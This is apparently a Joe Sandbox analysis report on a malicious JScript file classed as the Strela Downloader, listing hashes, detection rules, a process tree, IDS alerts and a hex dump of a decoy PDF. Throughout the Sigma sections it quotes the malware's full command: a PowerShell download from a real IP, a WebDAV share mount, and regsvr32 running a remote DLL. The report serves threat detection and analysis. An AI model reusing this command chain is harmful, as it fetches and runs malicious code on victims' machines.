Edit tour

Windows Analysis Report
884736801811116482.js

Overview

General Information

Sample name:	884736801811116482.js
Analysis ID:	1588765
MD5:	ef0deca16234cbf5867a86ed17d6687e
SHA1:	0161ee0d4f1c8ad91fe45d9b176b3e98202e706e
SHA256:	281c24ffdebe1d61485f923f880c5864963276fa06592378c45201b783fddc49
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6776 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\884736801811116482.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7312 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7364 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7604 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7836 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8056 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1604,i,4454574699079449668,5851502014699719329,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7660 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7736 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7912 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6776	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7312, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7364, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7312, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7364, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\884736801811116482.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\884736801811116482.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\884736801811116482.js", ProcessId: 6776, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7736, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49707

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\884736801811116482.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6776, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 7312, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\884736801811116482.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6776, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 7312, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\884736801811116482.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6776, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 7312, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\884736801811116482.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6776, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 7312, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\884736801811116482.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6776, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 7312, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\884736801811116482.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6776, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 7312, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\884736801811116482.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\884736801811116482.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\884736801811116482.js", ProcessId: 6776, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7312, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7364, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7660, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7736, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7912, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7660, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7736, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\884736801811116482.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6776, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 7312, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:15:06.900344+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49700	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:15:10.527980+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49707	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:15:06.900344+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49700	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 884736801811116482.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 884736801811116482.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49700 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49707 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:15:06 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 